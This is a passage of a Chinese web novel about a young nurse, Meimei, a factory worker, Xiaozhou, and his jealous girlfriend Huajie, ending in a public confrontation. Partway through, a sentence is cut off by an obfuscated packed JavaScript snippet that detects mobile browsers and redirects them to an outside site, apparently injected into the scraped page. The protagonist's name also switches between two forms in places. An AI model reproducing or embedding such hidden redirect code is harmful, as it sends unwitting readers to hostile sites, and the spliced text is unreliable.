她转头又想,失恋也是可以死人的,酒精中毒如果迟些送进医院,是真能致人死亡的,那个人虽然救过来了,但心呢?拯救一个破碎的心不也是护士的责任吗? 如果是的话,那她这个护士可管得够宽的。 晚上梅梅查房,小舟病房里的病人,除了他都睡了。 梅梅轻轻走到他床位,很小的音量,不单是怕吵醒病人,还是怕被人察觉她态度的陡转,“睡不着?” 小舟在病房蒙昧的黑暗里,觉得女人简直纷繁复杂。 你永远搞不懂她们什么时候突然对你好起来,又为什么突然糟糕起来。 “嗯。”他淡淡应一声。 “你白天睡够了吧?”梅梅问。 “嗯。”小舟嘴都不动,用鼻音代替回答。 “你要不要起床,我带你到外面呼吸下新鲜空气,这病房里待久了空气可够闷的。” 这话说出来像没经过大脑,把梅梅自己都吓一跳。 “啊?”小舟也被她吓到了。 “反正是一楼,出去就是草地花坛,你还走不动?”梅梅豁出去了。 小舟在光线稀薄的病房里,一双眼尤其亮,他不懂这女人到底在搞什么鬼。 “快起来,你不懂酒精中毒就是要多呼吸新鲜空气?”梅梅催促他,说着就上手给他掀被子了。 小舟跟她抢夺自己被子,又怕闹出声来打扰到其他病人,他又急又小声地骂:“你这女人怎么这么不讲理?” “我让你呼吸新鲜空气有错?”梅梅蛮劲上来了,她从小就蛮,全家人都让她蛮,谁让她是独生孩子呢? “你不要拉我,”小舟急了,“我自己晓得起来。” 小舟想,就是有什么事,也不能大晚上在病房里跟她闹,出病房了,他大男人一个还能吃女人的亏? 小舟起身,梅梅又说:“穿件衣服,夜里露水重,别感冒了!” “哦。”小舟把外套凑合着往自己身上一搭,反正很快就回来了,穿上还懒得再脱下来。 梅梅带小舟到了院里的一汪人工湖旁,湖面在夜风的吹拂下,荡着微微水波纹,不知怎地,梅梅觉得今晚的人工湖比素日更美几分。 “什么事?”小舟可没心情欣赏风景,他的情伤还没舔舐完,他的心抽不出空想其他。 “怎么把自己搞住院了?”梅梅不愿辜负今晚的良夜,雄起胆子问。 “酒精中毒。”小舟的语气表达了另一层含义:你作为护士,你不晓得你负责的病人什么原因住院? “我当然知道你是因为这个,我是说你怎么会酒精中毒!”梅梅像没意识到,自己这叫爱管闲事。 小舟奇怪地看他一眼,住院理由,医院的护士也要管? “问你啊!”梅梅逼着他说。 “心里不舒服?” “为什么不舒服?” “关你什么事?”小舟没风度了。 这女人难道不懂什么叫隐私吗?尊重别人的隐私的人,才配叫人! “因为女朋友?”梅梅戳穿他。 小舟恼了,“你烦不烦?你们医院住院还管这些?” “我们医院不管,我管!” 小舟表情像挨了她一闷棍似的,大脑彻底失去思考,如果身旁这女人不是之前恶劣态度的那个,他都要怀疑,今夜他会收到一个告白了。 “你有病吧?”小刚罗列她不久前的恶形恶状,“我药水吊完了,给我拔针你都嫌烦,现在你不嫌烦了?” “之前嫌,现在不嫌!”梅梅说。 小舟此时觉得,要想搞懂女人,必须特地开门课程,实践和理论都少不了。 还有六月的天怎么能说是娃娃的脸?应该是女人的脸。 “为什么?”小舟问她,他想自己要是能搞懂这个女护士了,是不是也能搞懂花姐了? 梅梅说:“我不相信这世道,还会有少年维特那样的人。”她赌他不知道少年维特是谁,她把他来历打听清了,一个工厂男工。 他们这些人,就像一头被蒙住眼的驴,只知道围着磨盘转,却不知道为什么围着磨盘转。 像牲口一样,只为饱食终日活着的人,怎么会知道少年维特呢? 梅梅心里有点点失望,失望他不知道少年维特,却浪费了他拥有的,那张少年维特式忧郁漂亮的脸。 “你是说我像维特?” 在“维特”这个被歌德制造出的虚拟人物出现后,小舟有了和梅梅交谈的兴趣。 “你知道维特?”梅梅尖利的嗓音全是惊喜。 小舟当然知道,有关于维特的那本书,就静静躺在厂宿舍楼下,二号大书柜第四层靠右边,跟新的似的。 小舟怀疑它被放在书柜里后,就只有自己一个人阅读过它。 小舟对梅梅点了点头。 梅梅又问:“你觉得他是一个怎么样的人?” 小舟想到花姐,他在读完《少年维特之烦恼》之后,把故事讲给花姐听过。 他每读完一本书,都会把故事复述两遍,第一遍在笔记本上,第二遍口述给花姐听。 他得确保自己第二遍的口述,是经过文字凝练后,没有多余的废话,因为花姐对这些名著里的人物,通常的看法就是吃饱了撑的无聊。 她说:“当然人要是不无聊,也干不出这些事,干不出这些事又怎么能写成小说呢?” 在她看来小说里的人物,和创造他们的作者是同等的无聊,光埋首桌前,奋笔疾书就是件顶无聊的事,能长年累月做无聊事的人,不是顶无聊? 这就是她和小舟在思想上的重大分歧之一,小舟可以一天不吃饭,但不能一天不读书,在流水线上干得再累,他每天仍要至少抽出半个小时来阅读。 小舟记得,花姐在听见维特是个出生于富裕的中产家庭,接受过良好的教育,却因为心爱的姑娘同别人订婚,之后又感到社会格格不入,对生活无望而自杀的人后,脸上的嫌弃像看到一堆垃圾。 她说:“怎么还会有这种人?不过这种人早死也好,早死还能少遭罪。” 小舟在听见她这样的评价,心被刺痛了,他自己是能和绝望的维特共情的。 随后花姐说:“少看点这些书,人都看傻了!” “问你!你怎么又不说话了?!”梅梅的截停了小舟的回忆片段。 小舟说:“能是什么人,一个没用的人!”他嘲讽维特就像嘲讽自己。 “你怎么能这样说?”梅梅不满意了,“他多么可怜?” “是,”小舟说,“你们女人难道还会爱可怜的男人?” “那你认为我们女人会爱什么样的男人?” 小舟说:“在你们女人看来,全身心沉浸于爱情的男人,肯定是愚蠢平庸的,而利用爱情来做生活调味剂的男人,才能在生活上有作为,你们女人不就喜欢有作为的男人吗?” 他想到花姐和包主任,还有比包主任更风光的其他主任,其他老总,每次这些在社会上有地位的男人来厂里,总会引起不少女工们的钦佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630294|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和敬仰,男工也同样。 “你的那个她,就喜欢这样的男人吧?”梅梅指出那个让小舟心痛的女人。 “你不喜欢?”小舟笑了笑,斜睨了她一眼,你少给我假装! “我为什么要喜欢?!”梅梅被冒犯了似的应激起来,“这些男人多么无聊?” 梅梅的父亲就是这样无聊的男人,很忙,物质上没有亏待家人,但在感情上他永远欠家人一辈子。 梅梅良好的家庭条件,让她拥有早于当代绝大部分人的认知:一个完整的家庭,情感的需求和物质需求同样重要,对家庭负责,可不是让全家人吃饱饭就完事。 “无聊?”小舟难以置信地望着她,他的生活圈层,从没让他接触过,把拥有权力的男人,视为无聊的女人。 “你不觉得他们无聊?”梅梅嫌弃地说,“他们无论走到哪里都想说服谁,和人平等交流的意识是根本没有!” 梅梅的父亲梅院长就是这样的人,和他谈话你只有两张选择:要么你说服他,要么你被他说服。 “是无聊。”小舟笑了笑,他对这个女孩生出了些许好感,他想经过今晚,他们能做成朋友也说不定。 “你的女朋友是不是也是这样无聊的人?”梅梅不死心地打探。 小舟不高兴了,他维护起花姐来:“我每次看完一本书,她都会听我讲一遍的,她怎么可能无聊?”无聊的人会有心情听别人讲故事? “是吗?”梅梅突然被小舟的维护刺激到,“她不无聊,她怎么不自己看书?是不识字的文盲?!” 梅梅此时的作态,如果放在图文词典里,会是“吃醋”的最佳详解。 小舟替花姐辩解道:“她是我们工厂的组长,每天那么多事要做,哪有时间看书?” 这个理由很拙劣,他不懂自己的辩解,是不想身旁的女护士把花姐看扁,还是不想看扁他找了个“无聊”的女友。 梅梅立马揭穿他,“我叔叔的女儿在美国留学,她要几乎每天都要到餐馆打工挣生活费,平时还要上课,但她都能抽出时间看书,看得还比我多!” 小舟感到身体突然僵硬无力,这个女护士和花姐有一点很像,她们存心想揭穿某人时,是犀利又不留情面。 小舟很想问她,你拆穿我的目的是什么?击溃一个男人在人前树立的岌岌可危的自卑感,让你感到荣耀吗? 女护士的揭穿,让小舟不得不直面他和花姐在一起时,一再逃避的事实:他们在很多方面,其实是没有共同语言的,甚至是鸡同鸭讲,支撑他们走过来的是感情,可这份感情和爱情有关吗?自己是不是将这份依赖母性的感情和爱情混淆了? 于对文学有渴望和追求的小舟来说,混淆什么都行,就是不能混淆爱情。 爱情是生活里唯一不能出差错的事,他生活里其他出差错的事,很多是不受他控制的,但爱情这件难得可控的事,他坚决不能让它出错,或者出错了继续错下去。 “你怎么又不说话了?”这次梅梅带着得意,你看我已经把你拆穿。 这女孩可真残忍啊,小舟想,和花姐一样残忍,每次看穿他后还要乘胜追击地证明她们的正确性,然后逼着自己也承认她们的正确。 小舟一下就爆发了,他的暴躁破坏了这个只有用诗词,才够贴切表达的美好夜晚。 “你烦不烦?大晚上把人带到这里来,说这些有的没的,你看看,我和你是孤男寡女,你有廉耻没有?!” “廉耻”,他用几千年来,男人惯用的羞辱女人的字眼羞辱她,因为是她先羞辱自己的,她羞辱他错爱了一个女人,或者羞辱他,竟然会把爱情搞混。 “你瞎激动什么?!”梅梅可没受过这种气。 廉耻?她最瞧不起动不动给女人扣贞操枷锁的男人,她不吃这一套。 “廉耻?”梅梅说,“如果你认为一个女人在夜里邀请男人出来谈话是没有廉耻,我是否也能以你们男人的标准来评判你,你为了一个女人把自己搞得住院就是丢了你们男人的廉耻!” 梅梅看见了自己这句话在小舟脸上引起了效果,一记响亮耳光的效果。 这一耳光打得好重啊,小舟的泪登时就从眼眶里淌下来,毫无阻碍,他已经被女护士的话,伤得失去力气抑住眼泪。 “你哭什么?”梅梅吓坏了。 她从未见过,会因一句话就立刻流泪的男人,这种男人只有在文学小说里才能寻见,像维特一般的男人,不,是男孩,他们的泪,总是在一颗敏感的心遭遇无望爱情,或压抑现实时夺眶而出。 “别哭了!”梅梅手忙脚乱地用她妈每天洗好的手帕给小舟擦眼泪,她把人家惹哭的,她就该负责。 小舟不理她,只是流泪,他为自己年少就经历生活的艰辛,和感情的坎坷而流泪,他为自己还没学会面对这个世界,就过早地承受它的残酷而流泪。 小舟哭了很久,梅梅的手帕都能拧出水了,他的眼泪却还没断。 梅梅想如果林黛玉可以是个男人,那怎么也必须是小舟了,或者维特就像男人里的林黛玉,林黛玉就像男人里的维特。 梅梅一脑子乱七八糟等着他哭完,好不容易小舟哭累了,她干巴巴地说:“对不起......啊?......” 那个“啊”是:“你就原谅我,好吧?” 小舟泪止住了,理智迟到地追上来,才觉察到自己多不像话。 “喂,”梅梅用肩膀撞撞他,“你刚才哭那么凶,是不是想到她了?” 梅梅觉得,如果一个男人,可以在一个女人面前任他自己眼泪肆虐,那么他们该是无话不谈的关系了吧? 小舟“嗯”了一声。 “他不要你了吗?”梅梅问。 小舟自己也弄不清,花姐还要不要他了,他只觉身边的这个女护士较真起来,倒是跟花姐有得一拼,或许问她还会有答案。 他清了清喉咙,尽量不让自己听起来没出息,“如果你的父母出事了,可能会失去生命,我是说如果,你别当真......” 梅梅指出他的逻辑错误,“我不当真我怎么回答你这个问题?只有当真了我才能把情感带入进去。” 好,那你就当真吧,反正我没有恶意,小舟心里吐槽她,又接着说:“然后你是有对象的,你会一声不响都不告诉你男朋友,就回到你父母身边吗?” 梅梅心想:是你,我当然不会告诉你,你肯定比我还先哭 她被自己想的逗笑,小舟不高兴了,“你是不是觉得逗我很好玩?” “没有没有!”梅梅迅速摇头, “那你是怎么想的?”虽然这女护士看起来不靠谱,但小舟此刻很想了解他的想法。 “我当然不会!”梅梅笑着说,“我爸可重啦,我和我妈两个人抬着都费劲,有个对象回去当苦力使不是很好?怎么了,那个一声不吭回去的女人就是你的对象吗?” 小舟苦笑一声承认了。 “也许她爸爸很轻吧,所以用不着你回去做苦力。” 小舟被她一个颇有冷意的笑话逗笑了,他的笑也带着稀碎的冰凉。 这一刻,梅梅这个从护士学院里一出来,就做上无私职业的女孩,乍然就想自私起来,她把心里的话隐藏了。 隐藏的话是:你知道现在你该怎么办吗?你该立马买车票追到她家里,比你喝闷酒喝得住院有作用得多! 但她没有说话,她觉得那个令他神伤的女人和他是不般配的,他们只是因为年轻,谈了场风马牛不相及的恋爱,这一切都有待矫正,如果不被矫正,两个人可就把一辈子错过去了。 那么这个感情丰富细腻的男人,适合什么样的另一半呢?至少是一个不会在他谈论文学时,指出文学无聊的人吧?至少是一个像自己这样的人吧? 自己和他?这个想法跳出来,梅梅把自己吓得从长椅上站起来。 “你怎么了?”小舟问她。 小舟被伤情泪水洗过的眼珠澄澈而无底,如同闹鬼的井,看久了就会把你吸进去,梅梅此刻就被他吸进去了。 她没头没脑问一句:“你觉得我怎么样?” “什么怎么样?” “就是处对象怎么样?” “还用说?肯定不错啊!”小舟没多想,只当他们交换对彼此的看法,自己刚才不也问了相似的问题吗? “哪里不错?”梅梅不接受他笼统,没有细节的回答。 小舟想当然地说:“在我们老家的县城,你这样的女护士一般人家可高攀不起。” 小舟老家的县城医院里,女护士们脸上雪白的口罩,头上像馄饨似的帽子,或浅蓝或洁白的制服,以及她们从你身边走过时药水味,这些都是高不可攀的象征,这世上还有比洁白、浅蓝更纯洁、更高贵的颜色吗? “你不要说这些!”梅梅急了,“我说的是我这个人,你别扯上我干什么,我刚才说你也没扯上你的职业啊,你就评价我这个人。” 她这话说得,在这个钱大于情的时代,对一个人的评价怎么能脱离身份? 但小舟还真脱离了,他说:“我喜欢和你说话,因为在我身边,我找不到和我共同看过一本书的人。” “你是说我们是知己?”梅梅狡猾地为他们刚认识的关系上升了老高一个层次。 “知己?”小舟尚未反应过来,他们怎么白天还互看不惯,晚上就成知己了? “你想想看,有共同语言不就是知己了?你见过世上有名的知己,没有共同语言的?” 梅梅太狡猾了,她抓住哭累的小舟,没有多余精力,分析出她的逻辑错误。 有共同话题是成为知己的充分条件,但并不必要,这年头谁和谁碰上没两句共同话题聊呢?照梅梅这样说,满大街的人都是知己了。 但刚哭得脑子一片混沌,意识初具雏形的小舟没想到,他就真和梅梅成了知己。 他问他的新知己:“你怎么对我态度转变得那么快?” 梅梅说:“我讨厌喝酒没节制的人,我家楼下那个男人,一喝醉就打老婆打孩子!” 小舟说:“我喝酒又没这些坏习惯,我喝醉了就睡!” “你都喝醉了你怎么知道?” “我的室友告诉我的呀!” “我不信,”梅梅说,“除非你哪天喝醉了给我看!” “啊?”小刚感到丝丝不对,却又无法立即想到哪里真不对。 梅梅掐断他思路,“都是知己了,一起喝酒不是很正常的事吗?” 32. 花姐(六) 再和梅梅成为知己朋友后,小刚住了两天院就复工了。 他回去后,在包主任那里要到了花姐家的地址,包主任给得不情不愿,小舟心了,包主任一直认为自己配不上花姐,他觉得很好笑,自己配不上,你个老头子就能配上了?怎么你还愿意为了她离婚? 小舟陆续寄了几封信到花姐老家,每封信里他都塞了钱。 花姐回去那个多月,他给自己留的钱,只够每天吃三顿七分饱的饭。 并且还从自己该给父母寄的钱里,克扣了不少补贴她。 他想,她那么爱钱的一个人,回来后应该能消气了吧? 然而,小舟在花姐离开的这个多月,并没过上挨饿的日子。 医院结识的女护士知己梅梅,不上班就来厂里找他,上班了就等下班后再来找他。 梅梅像知道他最近过着忍饥挨饿的日子似的,每次都提着饭盒来说:“吃啊,医院食堂的都是剩菜剩饭,你不吃他们也会倒了,多浪费?” 梅梅是一点施舍的意思都没有,口气是纯粹的:你就当行行好事,你多吃两口,我们医院就积德,少浪费两口,所以小舟是吃得半点不扭捏。 小舟和她见面的目的是纯洁的,人在异乡多交一个朋友还会吃亏? 再说了,和梅梅每次交流完后,他才深切地感受到,朋友和同事的区别,他和梅梅交流的内容,是车间里任何一位同事都不能懂的。 梅梅几乎一周要来四五次,她频繁的到来,给小舟种下了习惯。 习惯是每周她不来的那两三天,小舟非常不习惯。 小舟不明白的是,那两三天不来找他的梅梅并非真有事不来,她是强忍着不来找他。 对小舟认真起来的梅梅,把他们的关系走向给描绘清了,他们的走向必须是,由男女性朋友向男女朋友进展。 二者之间,字只差一个,但走向差远了。 朋友可以时时见面,男女朋友不行,所有的度都必须精准拿捏,在“度”的掌握上,护士学出生的梅梅有着旁人不可比的优势。 有天,他们又在工厂外见面,小舟愁苦地说:“烦死了,车间里的人都在讨论我和你。” “讨论我们什么?”梅梅把带来的饭递给他。 “他们说我趁着我对象不在,和你乱搞男女关系!” “那我们乱搞了吗?”梅梅是清者自清的凛然态度。 追爱道路上,没有良心愧怍的说法。 “肯定没有啊!”小舟往嘴里狠扒两口饭,“我和他们说我们是朋友,他们就说,‘男女朋友怎么不是朋友?’” 小舟没和梅梅说,厂里懂点洋文的,还说:“girlfriend和boyfriend里面,也有个friend!” 他英语发音向来不准,就不在朋友面前献丑了。 “别去理他们,”梅梅说,“他们那些人眼睛见什么都是脏的,你别管。” “我就怕她回来了,他们在她耳边上乱编排我和你。” “那很简单啊,你把你对象带出来,我们见一面不就行了?” 小舟点点头,梅梅说得一点问题没有。 花姐回来了。 她没提前打电话到厂里通知小舟,他的那几封信她收到了,感动之余,她也反省自己老使小性子,怎么年纪比他大,做起事来还比他幼稚? 她心里数落自己,换他像你这样做,你生气不? 回家个多月,父亲的事算是解决了,以后重活是干不了了,但残疾已是最好结果,至于这次治病借的钱,有手有脚,慢慢挣吧。 花姐也想学电影里那样,给小舟一个惊喜。 她风尘仆仆地赶回宿舍,没有人。 洗了澡出来,室友们都在,个个见到她都不说话,但个个心里都有话,几双眼睛踢足球似的你来我往。 “你们怎么不说话?”花姐边擦头发边问。 “你不知道?”一个室友问她。 “知道什么?”花姐问她。 “你回宿舍路上没听见什么?” “能听见什么?”她顿了顿,想起来,回宿舍路上遇见的同事和她打招呼时,个个都跟便秘、拉稀似的,是有点不对劲。 “你和小舟吹了?” “我就说嘛!”一个接嘴道,“女人岁数比男人大,就是不靠谱!” “吹什么吹?”花姐笑了,甜蜜蜜的,“这个多月里,他给我写了好几封信,每封都还装着钱,他我还不知道?肯定又是委屈自己少吃,不晓得瘦了多少?” “喏,”花姐放在毛巾,打开行李袋拿出许多土特产,“给他带的,你们也分点,别又说我偏心!” “瘦?”室友们看她像看傻瓜。 刚才是个个不说话,现在是个个抢话说。 “人家天天加餐怎么瘦得下来?” “别看小舟平时屁放不出一个,男人该会的花招是一点没落!” “对啊,我还想着应该是分了手再另找的,前后不过腿脚快点,没想到是脚踏两条船!” “什么脚踏两条船?!”花姐嗓子高了好几度。 “你说呢?一个星期七天,至少有四天有个狐狸精在厂大门外面等他。你该晚些回来的,说不定还能撞上!” “你放屁!”花姐火了,她不相信小舟是他们嘴里那种人,肯定是误会,“是不是他姐姐?之前他和我说过,他姐也想到这边来找事做。” 室友们看花姐的眼神全是怜悯,她们都产生了共同的感慨:女人是不管多精明能干,遭受背叛那意刻,最先反应都是自欺欺人。 “你自己去问他!” “问能问出名堂?男人要想骗你,三十六计都玩不过他们!” “你等着,”一个还算仗义的说,“我替你去看,要是看见了,回来告诉你。” 没多久,那位跑回来说:“快去,今天又拎着饭来了,还边吃边笑,就差没嘴对嘴喂了!” 花姐几乎是被室友们推着朝目的地走的,她不明白,怎么才一会儿自己的心情就玩起过山车了?自己是要去求证什么吗?求证一个男人背叛了自己?证实给谁看?给自己,还是推着她走的这群室友? 到了门口,树下蹲着的一对年轻男女,男的是实打实小舟。 等等,“一对”? 自己怎么会下意识地将“一对”用他们身上?和他一对的难道不是她吗? “小舟!”跟着花姐的室友们齐齐吼一声,狮吼虎啸的震耳。 她们吼得不仅打抱不平,还有种畅快,你看,我们可没骗你。 小舟和梅梅同时抬起头,两个人一点做坏事被抓包的羞臊都没有,两张阳光下年轻的脸赤诚、坦然。 “你回来啦?”小舟把饭盒不讲卫生地放地上,跑到花姐面前,露出久别重逢的笑。 他牵她的手,企图把她不在时,自己认识的朋友介绍给她,他觉得她们在某些方面是很像的,她们会合得来,“你回来啦,我给你介——” “啪”的一记响亮耳光来得猝不及防,也迅疾得无处可防,让挨耳光的小舟现下脸上还定格着那个久别重逢的笑容。 困惑和不解等了好久才追上来,他问:“你为什么打我?” “你说我为什么打你?” 两个人都在反问对方“为什么”,从他们各自的立场来看,他们都很需要这个“为什么”,来弄清他们的感情走向怎么完全不对了? 不远处树下的梅梅慢慢站了起来,是她让这两个人的感情改了向,但即便没有她,他们就会相安无事,往“好”的方向走吗? 一对兴趣爱好根本不相容的情侣,怎么可能会是一对般配的情侣。 梅梅觉得自己如果岔开他们,这段感情耽搁的会是三个人,小舟和花姐是被错配的,他们如果继续下去,自己这个和小舟才合适的女孩,也会被浪费掉。 梅梅走近他们,她是一众人里最冷静那个,她问:“你干嘛打他?” 花姐的室友们不能忍她嚣张态度,对第三者的攻击是全天下女人义不容辞的使命。 “你个骚狐狸精!”梅梅也挨了一耳光,花姐的室友替花姐出气,也替世间原配出气。 梅梅挨打后,只是捂着脸,姿态却淡然而优雅,相较之下“狼狈”反而属于对立方。 “你干嘛打她?”小舟问出和梅梅同样的话,他对梅梅的关切甚于。 ,他都没顾上追究花姐劈头盖脸给自己一耳光的原因——当然,他和梅梅被打是同一原因。 小舟眼里烧起的愤怒,让在场所有人都对他感到陌生,没人见过他怒成这样,他是对打梅梅的那个人愤怒,但花姐觉得他的怒是向自己来的。 小舟的手铁钳般抓住打梅梅的那只手,对着那人吼得肺腑震动,“谁啊,你为什么打她?!” 花姐把小舟的吼,主动认领了,她声调更高,嗓子都快撕烂了,“你吼什么?!” “你们不讲道理上来就打人,还问我吼什么?!” “你们偷情,偷得明目张胆还怕被别人打?!”花姐骂回去。 “谁偷情了?”小舟整个是莫名其妙,他没想到花姐竟然也把她和梅梅的关系,想得这样龌龊、肮脏。 “我一不在,你就和野女人天天见面了,”花姐指着梅梅,声调尖利刺耳,“你们以前认识吗?她就天天给你带饭了?这还不是偷情?!” 她还好意思提这茬?一句话没留转头把自己撂这里。 一见面上来就是一耳光,自己还没诉苦,她倒先委屈上了。 小舟像提前预见了二十年后的花姐,但凡自己和异性多接触,她就要把对方当骚|货、贱|货打出去。 二十年后的花姐,一定有张张多皱、扭曲、尖刻的,属于中年泼妇的脸,然后再过二十年,晋升为老年泼妇。 小舟第一次对他们的未来起了疑心。 “你怎么不说话了?”花姐把小舟的一瞬的迟疑当他心亏,女人到这地步都急着要男人好看,都急着要男人认识他们到欠了自己多少,把自己伤得多重。 小舟望着花姐没丝毫反省迹象的脸,很冷地笑了下,“你是不是觉得自己特对?” “不然呢?”被背叛的女人会有错?有错也错在眼瞎爱错了人! “是吗?”小舟说,“我和梅梅正正经经做朋友手都没碰过,你们上来就动手,那你们该挨多少打?你们平时和车间里的这主任那主任打情骂俏,是打少了,还是骂少了?” “啪”一声,他另外半边脸又挨了记耳光,一张脸给两个女人打对称了。 “怎么了?”小舟发出哀默心死的声音,“我哪里说错了?”我就是说对了,你才这样心慌。 “你少冤枉我!”花姐感到屈辱,外地女孩孤身漂泊异乡,能给的有什么?几句俏皮话,几个暧昧动作能换来好处,换来方便,为什么不换? 别人不换你也不换是正直,别人换你不换是傻b,这世道紧要的是随大流。 个人再牛皮哄哄,能拧得过集体? 上下几千年,从来是以众暴寡! “我冤枉你?”轮到小舟攻击她了,“我冤没冤枉你,你最清楚,你知道我出院回车间问他要你老家地址,他给得多不情愿吗?你和他关系好到,他给我个地址都不情愿了,是不是?对了,好笑不好笑,我和你处了那么久,连你家地址还得管别的男人要。” 之前用“我和你”来代替“我们”的是花姐,这次是小舟了,他心里生出快意,不惜伤害自己也要伤害对方的,自虐般的快意。 一对动过真的情侣,把“我们”拆分成“我和你”时,会痛得鲜血淋漓、血肉分离,就像“连体婴”分离手术。 花姐被小舟羞辱得无地自容了,他如果只是把他们的私事当着几位室友公开,她不会有这种被人当众脱衣的耻辱感,因为室友们会理解她的,室友们和她是一类人。 但当着这位被打后依然保持良好风度和姿态的“小三”,她生出被侵|犯、被猥|亵的难堪。 “小三”的冷眼旁观仿佛在表达:“原来你之前爱上的,就是这样一个自甘下|贱女人?水性杨花、卖弄风|骚,对象还不是身为男友的你,而是个上了年纪、发顶微秃、满身松肉的中年男人。” 花姐受不住这场耻辱感十足的刑罚,怎么形势急转,她这个抓奸的反成了被抓的? 小舟觉得没有再两方对峙的必要了,再对峙下去不过是互相为难,互相把最能戳痛彼此的话公开来说,互相追查谁欠谁更多,谁比谁更不值,使对方难过的同时也使自己不好过。 他悟到,爱情居然是这样一回事,它带给人的痛远多于甜,怪不得那么多文人骚客为它赋词,为它写诗,为它抓耳挠腮地磨出一篇小说,与此相比,他和梅梅的友情是多么舒服和惬意? 小舟抓起梅梅的手腕离开了,当着所有人的面。 夕阳西下,他们像影视剧镜头那样,带着叛逆和决绝的浪漫。 花姐处于旁观者的角度,看他们离去背影,她想当初厂里的人看他冲进火场救自己,在把自己解救后力尽昏阙,是否也如今日般浪漫? 闹剧结束后,小舟依然每天准时上班,车间男女同事的风言风语他毫不放心上。 同事们说:“怪了,之前这样说他,他还会跟你闹,跟你动气,现在怎么半点反应都没有?” “男人不爱了,还能有什么反应?” “哼,”女同事们不屑道,“一个当代陈世美。” 男同事们说:“他那新对象我们也瞅见过,一看就晓得家里条件很好,细皮嫩肉的,陈世美也有陈世美做人的难处,换你们女人,武大郎和潘安,你们选哪个?” “难做人就索性不做人了?再说花姐才不是武大郎!你们男人倒个个都是潘金莲!” 女同事们选择性地只回答能回答的,武大郎和潘安?只要长了眼睛,还会选错? “只是个比喻嘛!”男同事们缓和道,“再说,你们也承认了,小舟找的是个女版潘安?” 有人羡慕道:“小舟狗日了好有艳福,他新对象听说是医院护士,上一个是厂花,这个是院花!” 一个稍有文化的说:“要是在古代,两个都要了,就叫‘齐人之福’!” 一个人说:“市场风向变了,现在女人都爱弱不禁风那款了!” 车间同事们的话,全让小舟和花姐一字不漏地听见了,即便他们不在场,也总有好事之徒,把话传进他们耳朵里。 梅梅没来找小舟了。 那天她被小舟拉着手腕带走,离开是非之地没多远,小舟就说:“我们这段时间就不见面了吧?”顿一顿,“好吗?” 他也知道这要求过分了。 “你还要和她继续?”梅梅平静地说,不装无辜,也不卖惨,读过很多书的她才不屑这类低级手段。 “她对我挺好的......”小舟的音量低得自己都不自信了。 “是吗?”梅梅两道一扬一压的眉毛做出表情:需不需要镜子看看你脸上一左一右,两个极端对称的两个巴掌印? “她真对我挺好的!”小舟受不了别人怀疑这段连他自己都怀疑的感情,他多想此刻有人来告诉他,他真没爱错人,他的情没白抛洒。 “我信。”梅梅说。 “真的?”小舟眼亮了。 他亮起来的双眸和黯淡时同样让梅梅喜欢。 梅梅笑着说:“当然啊,一个女人要是对她对象没感情,那男人就是当着她面和其他女人乱搞,她也只会顺手帮他们把门关好,她那么着急上火,不是因为在乎你是为什么?” 梅梅挨的一巴掌有部分打在她嘴角上,使她一动嘴角,伤口就牵动一次,让看她的人想忽视都忽视不了。 小舟心里愧疚翻涌,这个在医院,被病人们当做白衣天使的女孩,今天不仅被一群不分青红皂白的女工们用最糟污的话污染了,还受了伤,天使折翼就是用来描绘今天的梅梅的吧? “你笑什么笑?”小舟说,“不去医院处理伤口?” “啊?”梅梅装傻,“你不说我都忘了今天挨了一场打。” “你被打过没有?” “没有,”梅梅脸上忽然痉挛般抽动一下,“糟了,你一提醒,我就觉得我痛得难受。” “你从来没被打过?”小舟惊讶极了。 “你这人说话真好笑,说得好像我很欠揍一样。”梅梅不高兴了,嘴唇一噘,仿佛挨的那巴掌还没小舟这句话分量重。 “不不不,”小舟两手猛摇,“我就是没听说过谁从小到大没被打过。” “你被打过很多次?” “我有两个姐姐啊,小时候她们经常欺负我!” “活该,”梅梅说,“你如果是你们家最小的,那么你父母一定重男轻女,你肯定占了你两个姐姐很多资源,比如受教育的权利,她们打你,你也活该!” “我爸妈重男轻女还怪我了?”小舟替自己喊冤。 “你们男人就是这点讨厌,得了便宜还卖乖!” “我占了什么便宜?我都念到高二了,还不是辍学出来挣钱补贴家里?!” “那你两个姐姐呢?”梅梅指出来,“她们连高中都没上过吧?” 两个姐姐别说高中,小学都没念完。 小舟对姐姐们的歉意,在梅梅的质问下渐渐浮现,“你这样说,我的确欠了她们很多。” “认错就好,认错就说明你是想改错的。”梅梅深谙紧抓男人错处的女人,有多让男人烦。 “这错怎么改?”小舟问,“她们孩子都生了,还能重新上学?” “你怎么不想想,你从现在开始重新上学,跟着参加高考,把大学苦出来,才有更多机会改变你自己和你的家庭啊!” “说得好听,”小舟嫌她不切实际,空话乱放,“我读书去了自己都养不活,还养家?” “上夜校啊!”梅梅举例道,“很多人都这样做,你不干就是你懒,忙着谈恋爱都不想着提升自己!” “诶?”小舟忽然回过神来,“我们怎么就扯到这些了,我们一开始说的什么来着?” “你说我和你不要再做朋友了。” “放屁!”小舟粗鲁道,“我是说我们这段时间不见面了。” “不见面不就是不做朋友的委婉说法?” “你怎么也像她们一样胡搅蛮缠了?” “那我是什么样的女人?”梅梅问。 “我以为你看书比我多,比她们明白事理。” 梅梅心想:你错了,男人是不会体谅明白事理的女人的,他们只会让明白事理的女人去体谅他们。 “再说吧。”梅梅转过身走了。 “你去哪儿?”小舟拉住她。 “处理我脸啊!”她语气像在说处理垃圾。 “顺便也帮我处理了。”小舟知道自己的无理要求让她不高兴了,立马讨好求和,他不想失去女友,也不想失去朋友。 他想:梅梅要是个男生该多好啊? 他们找了家小诊所,让既是老板又是医生的店主把脸草草上药。 店主医生问:“怎么搞的?” 这该怎么回答?怎么回答都让人误会他们是对狗男女。 梅梅淡淡地说:“被人打了呗,你都当医生了还看不出?” 店主医生说:“我是问怎么被打的?” “怎么?不知道原因不给治啊?”梅梅跟个刺猬似的,仿佛挨打时的怒火迟到这时才发作。 